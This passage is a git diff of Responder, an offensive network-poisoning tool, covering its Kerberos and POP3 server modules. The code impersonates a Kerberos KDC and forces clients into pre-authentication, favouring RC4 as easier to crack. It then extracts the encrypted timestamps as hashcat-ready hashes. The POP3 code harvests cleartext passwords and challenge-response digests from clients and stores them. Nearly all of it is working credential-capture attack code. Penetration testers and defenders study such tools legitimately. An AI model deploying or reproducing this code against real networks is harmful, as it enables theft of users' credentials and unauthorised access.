||||
cipher_hex = cipher.hex()
|
||||
return etype, cipher_hex
|
||||
|
||||
return None, None
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error extracting timestamp: %s' % str(e)))
|
||||
return None, None
|
||||
|
||||
def find_padata_and_etype(data):
|
||||
"""
|
||||
Search for PA-DATA and determine encryption type
|
||||
Returns: (has_padata, etype) where etype is the encryption type number or None
|
||||
"""
|
||||
try:
|
||||
# Look for [3] PA-DATA tag (0xa3)
|
||||
for i in range(len(data) - 60):
|
||||
if data[i:i+1] == b'\xa3':
|
||||
# Found PA-DATA, now we need to check if it contains PA-ENC-TIMESTAMP
|
||||
# Structure: [3] SEQUENCE OF { [1] padata-type, [2] padata-value }
|
||||
|
||||
# Look for [1] padata-type within next 30 bytes
|
||||
has_pa_enc_timestamp = False
|
||||
padata_value_offset = None
|
||||
|
||||
for j in range(i, min(i + 30, len(data) - 10)):
|
||||
if data[j:j+1] == b'\xa1': # [1] padata-type
|
||||
# Check if padata-type = 2 (PA-ENC-TIMESTAMP)
|
||||
# Pattern: a1 03 02 01 02
|
||||
if j + 4 < len(data) and data[j+1:j+5] == b'\x03\x02\x01\x02':
|
||||
has_pa_enc_timestamp = True
|
||||
# Next should be [2] padata-value
|
||||
break
|
||||
|
||||
if not has_pa_enc_timestamp:
|
||||
# PA-DATA exists but not PA-ENC-TIMESTAMP
|
||||
# This is normal for first AS-REQ
|
||||
return False, None
|
||||
|
||||
# Now look for [2] padata-value which contains EncryptedData
|
||||
for j in range(i, min(i + 50, len(data) - 10)):
|
||||
if data[j:j+1] == b'\xa2': # [2] padata-value
|
||||
# Inside padata-value is EncryptedData
|
||||
# Now look for [0] etype inside EncryptedData
|
||||
for k in range(j, min(j + 30, len(data) - 5)):
|
||||
if data[k:k+1] == b'\xa0': # [0] etype
|
||||
# Pattern: a0 03 02 01 <etype>
|
||||
if k + 4 < len(data) and data[k+1:k+3] == b'\x03\x02':
|
||||
etype = data[k+4]
|
||||
if settings.Config.Verbose:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
|
||||
print(text('[KERB] Found PA-ENC-TIMESTAMP with etype %d (%s)' % (etype, etype_name)))
|
||||
return True, etype
|
||||
|
||||
# Found PA-DATA but couldn't determine etype
|
||||
return True, None
|
||||
|
||||
return False, None
|
||||
|
||||
except:
|
||||
return False, None
|
||||
|
||||
def build_krb_error(realm, cname, sname=None):
|
||||
"""
|
||||
Build KRB-ERROR response with PA-DATA for pre-authentication
|
||||
|
||||
KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
|
||||
pvno[0] INTEGER (5),
|
||||
msg-type[1] INTEGER (30),
|
||||
ctime[2] KerberosTime OPTIONAL,
|
||||
cusec[3] INTEGER OPTIONAL,
|
||||
stime[4] KerberosTime,
|
||||
susec[5] INTEGER,
|
||||
error-code[6] INTEGER,
|
||||
crealm[7] Realm OPTIONAL,
|
||||
cname[8] PrincipalName OPTIONAL,
|
||||
realm[9] Realm,
|
||||
sname[10] PrincipalName,
|
||||
e-text[11] GeneralString OPTIONAL,
|
||||
e-data[12] OCTET STRING OPTIONAL
|
||||
}
|
||||
"""
|
||||
|
||||
# Get current time
|
||||
current_time = time.time()
|
||||
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
|
||||
susec = int((current_time - int(current_time)) * 1000000)
|
||||
|
||||
# Build sname (server name) - krbtgt/REALM@REALM
|
||||
if sname is None:
|
||||
sname = 'krbtgt'
|
||||
|
||||
# Build the inner SEQUENCE
|
||||
inner = b''
|
||||
|
||||
# [0] pvno: 5
|
||||
inner += b'\xa0\x03\x02\x01\x05'
|
||||
|
||||
# [1] msg-type: 30 (KRB-ERROR)
|
||||
inner += b'\xa1\x03\x02\x01\x1e'
|
||||
|
||||
# [4] stime (server time)
|
||||
# KerberosTime is GeneralizedTime (tag 0x18)
|
||||
time_bytes = time_str.encode('ascii')
|
||||
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
|
||||
|
||||
# [5] susec (microseconds)
|
||||
susec_bytes = struct.pack('>I', susec)
|
||||
# Remove leading zeros
|
||||
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
|
||||
susec_bytes = susec_bytes[1:]
|
||||
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
|
||||
|
||||
# [6] error-code: 25 (KDC_ERR_PREAUTH_REQUIRED)
|
||||
inner += b'\xa6\x03\x02\x01\x19'
|
||||
|
||||
# [9] realm (server realm)
|
||||
realm_bytes = realm.encode('ascii')
|
||||
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
|
||||
|
||||
# [10] sname (server principal name)
|
||||
# PrincipalName ::= SEQUENCE { name-type[0] Int32, name-string[1] SEQUENCE OF GeneralString }
|
||||
sname_str = sname.encode('ascii')
|
||||
realm_str = realm.encode('ascii')
|
||||
|
||||
# Build name-string SEQUENCE
|
||||
name_string_seq = b''
|
||||
# First component: service name (krbtgt)
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
|
||||
# Second component: realm
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
|
||||
|
||||
# Build name-string [1]
|
||||
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
|
||||
|
||||
# Build name-type [0] - type 2 (KRB_NT_SRV_INST)
|
||||
name_type = b'\xa0\x03\x02\x01\x02'
|
||||
|
||||
# Build PrincipalName SEQUENCE
|
||||
principal_seq = name_type + name_string_tagged
|
||||
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
|
||||
|
||||
# Tag [10]
|
||||
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
|
||||
|
||||
# [12] e-data (PA-DATA)
|
||||
edata = build_pa_data(realm, cname)
|
||||
inner += b'\xac' + encode_asn1_length(len(edata) + 2) + b'\x04' + encode_asn1_length(len(edata)) + edata
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
|
||||
|
||||
# Wrap in APPLICATION 30 tag
|
||||
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
|
||||
|
||||
return krb_error
|
||||
|
||||
def build_pa_data(realm, cname):
|
||||
"""
|
||||
Build PA-DATA sequence for pre-authentication
|
||||
|
||||
PA-DATA ::= SEQUENCE {
|
||||
padata-type[1] Int32,
|
||||
padata-value[2] OCTET STRING
|
||||
}
|
||||
|
||||
Returns SEQUENCE OF PA-DATA with:
|
||||
- PA-ETYPE-INFO2 (19) - with RC4 first, then AES256
|
||||
- PA-ENC-TIMESTAMP (2) - empty
|
||||
- PA-PK-AS-REQ (16) - empty
|
||||
- PA-PK-AS-REP-19 (15) - empty
|
||||
"""
|
||||
|
||||
pa_data_list = b''
|
||||
|
||||
# 1. PA-ETYPE-INFO2 (type 19)
|
||||
pa_etype_info2 = build_pa_etype_info2(realm, cname)
|
||||
pa_data_list += build_single_pa_data(19, pa_etype_info2)
|
||||
|
||||
# 2. PA-ENC-TIMESTAMP (type 2) - empty padata-value
|
||||
pa_data_list += build_single_pa_data(2, b'')
|
||||
|
||||
# 3. PA-PK-AS-REQ (type 16) - empty padata-value
|
||||
pa_data_list += build_single_pa_data(16, b'')
|
||||
|
||||
# 4. PA-PK-AS-REP-19 (type 15) - empty padata-value
|
||||
pa_data_list += build_single_pa_data(15, b'')
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
return b'\x30' + encode_asn1_length(len(pa_data_list)) + pa_data_list
|
||||
|
||||
def build_single_pa_data(padata_type, padata_value):
|
||||
"""Build a single PA-DATA entry"""
|
||||
inner = b''
|
||||
|
||||
# [1] padata-type
|
||||
type_bytes = struct.pack('>I', padata_type)
|
||||
# Remove leading zeros
|
||||
while len(type_bytes) > 1 and type_bytes[0] == 0:
|
||||
type_bytes = type_bytes[1:]
|
||||
inner += b'\xa1\x03\x02\x01' + bytes([padata_type])
|
||||
|
||||
# [2] padata-value (OCTET STRING)
|
||||
if len(padata_value) > 0:
|
||||
inner += b'\xa2' + encode_asn1_length(len(padata_value) + 2) + b'\x04' + encode_asn1_length(len(padata_value)) + padata_value
|
||||
else:
|
||||
# Empty OCTET STRING
|
||||
inner += b'\xa2\x02\x04\x00'
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
return b'\x30' + encode_asn1_length(len(inner)) + inner
|
||||
|
||||
def build_pa_etype_info2(realm, cname):
|
||||
"""
|
||||
Build PA-ETYPE-INFO2 structure
|
||||
|
||||
ETYPE-INFO2 ::= SEQUENCE OF ETYPE-INFO2-ENTRY
|
||||
ETYPE-INFO2-ENTRY ::= SEQUENCE {
|
||||
etype[0] Int32,
|
||||
salt[1] GeneralString OPTIONAL,
|
||||
s2kparams[2] OCTET STRING OPTIONAL
|
||||
}
|
||||
|
||||
Returns entries for RC4 (etype 23) first, then AES256 (etype 18)
|
||||
RC4 is preferred as it's much faster to crack
|
||||
"""
|
||||
|
||||
# Build salt for AES: REALM + username (e.g., "SMB3.LOCALlgandx")
|
||||
hostname = settings.Config.MachineName.lower()
|
||||
salt_aes = realm + cname.lower()
|
||||
salt_aes_bytes = salt_aes.encode('ascii')
|
||||
|
||||
entries = b''
|
||||
|
||||
# Entry 1: RC4-HMAC (etype 23 = 0x17)
|
||||
# RC4 doesn't use salt in ETYPE-INFO2, only etype
|
||||
inner_rc4 = b''
|
||||
inner_rc4 += b'\xa0\x03\x02\x01\x17' # [0] etype: 23
|
||||
# No salt field for RC4
|
||||
entry_rc4 = b'\x30' + encode_asn1_length(len(inner_rc4)) + inner_rc4
|
||||
entries += entry_rc4
|
||||
|
||||
# Entry 2: AES256 (etype 18 = 0x12)
|
||||
inner_aes = b''
|
||||
inner_aes += b'\xa0\x03\x02\x01\x12' # [0] etype: 18
|
||||
inner_aes += b'\xa1' + encode_asn1_length(len(salt_aes_bytes) + 2) + b'\x1b' + encode_asn1_length(len(salt_aes_bytes)) + salt_aes_bytes
|
||||
entry_aes = b'\x30' + encode_asn1_length(len(inner_aes)) + inner_aes
|
||||
entries += entry_aes
|
||||
|
||||
# Wrap in SEQUENCE (ETYPE-INFO2 - SEQUENCE OF entries)
|
||||
etype_info2 = b'\x30' + encode_asn1_length(len(entries)) + entries
|
||||
|
||||
return etype_info2
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
"""Kerberos TCP handler (port 88)"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
# TCP Kerberos uses 4-byte length prefix (Record Mark)
|
||||
length_data = self.request.recv(4)
|
||||
if len(length_data) < 4:
|
||||
return
|
||||
|
||||
# Parse Record Mark (big-endian, high bit reserved)
|
||||
msg_length = struct.unpack('>I', length_data)[0] & 0x7FFFFFFF
|
||||
|
||||
# Receive the Kerberos message
|
||||
data = b''
|
||||
while len(data) < msg_length:
|
||||
chunk = self.request.recv(msg_length - len(data))
|
||||
if not chunk:
|
||||
return
|
||||
data += chunk
|
||||
|
||||
# Parse Kerberos message
|
||||
msg_type, valid, cname, realm = find_msg_type(data)
|
||||
|
||||
if not valid:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Invalid Kerberos message'))
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
if has_padata and etype:
|
||||
# Client sent pre-auth data - extract the encrypted timestamp
|
||||
etype_num, cipher_hex = extract_encrypted_timestamp(data)
|
||||
|
||||
if etype_num and cipher_hex:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
|
||||
|
||||
# Build the hash in hashcat format
|
||||
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
|
||||
# RC4 format: $krb5pa$23$user$realm$dummy$hash
|
||||
# Flip: last 36 bytes + first 16 bytes (per Responder's ParseMSKerbv5TCP)
|
||||
|
||||
if len(cipher_hex) >= 32:
|
||||
first_16_bytes = cipher_hex[0:32] # First 16 bytes
|
||||
rest = cipher_hex[32:] # Rest (36 bytes)
|
||||
flipped_hash = rest + first_16_bytes
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'AS-REQ',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'hash': hash_value,
|
||||
'fullhash': hash_value
|
||||
})
|
||||
|
||||
# Print the hash
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error: %s' % str(e)))
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
"""Kerberos UDP handler (port 88)"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
data, socket_obj = self.request
|
||||
|
||||
# Parse Kerberos message
|
||||
msg_type, valid, cname, realm = find_msg_type(data)
|
||||
|
||||
if not valid:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Invalid Kerberos message'))
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
if has_padata and etype:
|
||||
# Client sent pre-auth data - extract the encrypted timestamp
|
||||
etype_num, cipher_hex = extract_encrypted_timestamp(data)
|
||||
|
||||
if etype_num and cipher_hex:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
|
||||
|
||||
# Build the hash in hashcat format
|
||||
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
|
||||
if len(cipher_hex) >= 32:
|
||||
first_16_bytes = cipher_hex[0:32]
|
||||
rest = cipher_hex[32:]
|
||||
flipped_hash = rest + first_16_bytes
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'AS-REQ',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'hash': hash_value,
|
||||
'fullhash': hash_value
|
||||
})
|
||||
|
||||
# Print the hash
|
||||
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error: %s' % str(e)))
|
||||
|
||||
1014
servers/LDAP.py
1014
servers/LDAP.py
File diff suppressed because it is too large
Load Diff
448
servers/POP3.py
448
servers/POP3.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,42 +15,440 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
import base64
|
||||
import hashlib
|
||||
import codecs
|
||||
import struct
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket,POPNotOKPacket
|
||||
from packets import POPOKPacket, POPNotOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
"""POP3 server with multiple authentication methods"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.challenge = None
|
||||
self.username = None
|
||||
BaseRequestHandler.__init__(self, *args, **kwargs)
|
||||
|
||||
def generate_challenge(self):
|
||||
"""Generate challenge for APOP and CRAM-MD5"""
|
||||
import time
|
||||
import random
|
||||
timestamp = int(time.time())
|
||||
random_data = random.randint(1000, 9999)
|
||||
# APOP format: <process-id.clock@hostname>
|
||||
self.challenge = "<%d.%d@%s>" % (random_data, timestamp, settings.Config.MachineName)
|
||||
return self.challenge
|
||||
|
||||
def send_packet(self, packet):
|
||||
"""Send a packet to client"""
|
||||
self.request.send(NetworkSendBufferPython2or3(packet))
|
||||
|
||||
def send_ok(self, message=""):
|
||||
"""Send +OK response"""
|
||||
if message:
|
||||
response = "+OK %s\r\n" % message
|
||||
else:
|
||||
response = "+OK\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_err(self, message=""):
|
||||
"""Send -ERR response"""
|
||||
if message:
|
||||
response = "-ERR %s\r\n" % message
|
||||
else:
|
||||
response = "-ERR\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_continue(self, data=""):
|
||||
"""Send continuation (+) response for multi-line auth"""
|
||||
if data:
|
||||
response = "+ %s\r\n" % data
|
||||
else:
|
||||
response = "+\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def handle_apop(self, data):
|
||||
"""Handle APOP authentication (MD5 challenge-response)"""
|
||||
# APOP username digest
|
||||
# digest is MD5(challenge + password)
|
||||
try:
|
||||
parts = data.strip().split(b' ', 2)
|
||||
if len(parts) < 3:
|
||||
return False
|
||||
|
||||
username = parts[1].decode('latin-1')
|
||||
digest = parts[2].decode('latin-1').lower()
|
||||
|
||||
# Format for hashcat/john: username:$apop$challenge$digest
|
||||
hash_string = "%s:$apop$%s$%s" % (username, self.challenge, digest)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'APOP',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': digest,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured APOP digest from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing APOP: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_plain(self, data):
|
||||
"""Handle AUTH PLAIN (base64 encoded username/password)"""
|
||||
try:
|
||||
# AUTH PLAIN can be sent as:
|
||||
# AUTH PLAIN <base64>
|
||||
# or
|
||||
# AUTH PLAIN
|
||||
# <base64>
|
||||
|
||||
if len(data.strip().split(b' ')) > 2:
|
||||
# Inline format
|
||||
auth_data = data.strip().split(b' ', 2)[2]
|
||||
else:
|
||||
# Need to read next line
|
||||
self.send_continue()
|
||||
auth_data = self.request.recv(1024).strip()
|
||||
|
||||
# Decode base64
|
||||
decoded = base64.b64decode(auth_data)
|
||||
# Format: [authzid]\x00username\x00password
|
||||
parts = decoded.split(b'\x00')
|
||||
|
||||
if len(parts) >= 3:
|
||||
username = parts[1].decode('latin-1', errors='ignore')
|
||||
password = parts[2].decode('latin-1', errors='ignore')
|
||||
elif len(parts) == 2:
|
||||
username = parts[0].decode('latin-1', errors='ignore')
|
||||
password = parts[1].decode('latin-1', errors='ignore')
|
||||
else:
|
||||
return False
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'AUTH-PLAIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured AUTH PLAIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing AUTH PLAIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_login(self, data):
|
||||
"""Handle AUTH LOGIN (two-stage base64 authentication)"""
|
||||
try:
|
||||
# AUTH LOGIN is two-stage:
|
||||
# Client: AUTH LOGIN
|
||||
# Server: + VXNlcm5hbWU6 (base64 "Username:")
|
||||
# Client: <base64 username>
|
||||
# Server: + UGFzc3dvcmQ6 (base64 "Password:")
|
||||
# Client: <base64 password>
|
||||
|
||||
# Send "Username:" prompt
|
||||
self.send_continue(base64.b64encode(b"Username:").decode('latin-1'))
|
||||
username_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not username_b64:
|
||||
return False
|
||||
|
||||
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
# Send "Password:" prompt
|
||||
self.send_continue(base64.b64encode(b"Password:").decode('latin-1'))
|
||||
password_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not password_b64:
|
||||
return False
|
||||
|
||||
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'AUTH-LOGIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured AUTH LOGIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing AUTH LOGIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_cram_md5(self, data):
|
||||
"""Handle AUTH CRAM-MD5 (challenge-response)"""
|
||||
try:
|
||||
# Generate challenge
|
||||
import time
|
||||
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
|
||||
challenge_b64 = base64.b64encode(challenge.encode('latin-1')).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive response
|
||||
response_b64 = self.request.recv(1024).strip()
|
||||
if not response_b64:
|
||||
return False
|
||||
|
||||
response = base64.b64decode(response_b64).decode('latin-1', errors='ignore')
|
||||
# Response format: username<space>digest
|
||||
parts = response.split(' ', 1)
|
||||
|
||||
if len(parts) < 2:
|
||||
return False
|
||||
|
||||
username = parts[0]
|
||||
digest = parts[1].lower()
|
||||
|
||||
# Format for hashcat: $cram_md5$challenge$digest$username
|
||||
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'CRAM-MD5',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': digest,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured CRAM-MD5 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing CRAM-MD5: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_ntlm_auth(self, data):
|
||||
"""Handle NTLM authentication"""
|
||||
try:
|
||||
# Check for NTLMSSP NEGOTIATE
|
||||
if b'NTLMSSP\x00\x01' in data:
|
||||
# Generate NTLM challenge
|
||||
challenge = RandomChallenge()
|
||||
|
||||
# Build NTLMSSP CHALLENGE
|
||||
ntlm_challenge = b'NTLMSSP\x00'
|
||||
ntlm_challenge += struct.pack('<I', 2) # Type 2
|
||||
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target name
|
||||
ntlm_challenge += struct.pack('<I', 0x00008201) # Flags
|
||||
ntlm_challenge += challenge # Server challenge
|
||||
ntlm_challenge += b'\x00' * 8 # Reserved
|
||||
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target info
|
||||
|
||||
# Send challenge (base64 encoded in continuation)
|
||||
challenge_b64 = base64.b64encode(ntlm_challenge).decode('latin-1')
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive NTLMSSP AUTH
|
||||
auth_b64 = self.request.recv(2048).strip()
|
||||
if not auth_b64 or auth_b64 == b'*':
|
||||
return False
|
||||
|
||||
auth_data = base64.b64decode(auth_b64)
|
||||
|
||||
# Parse NTLMSSP AUTH
|
||||
if auth_data[0:8] != b'NTLMSSP\x00':
|
||||
return False
|
||||
|
||||
msg_type = struct.unpack('<I', auth_data[8:12])[0]
|
||||
if msg_type != 3:
|
||||
return False
|
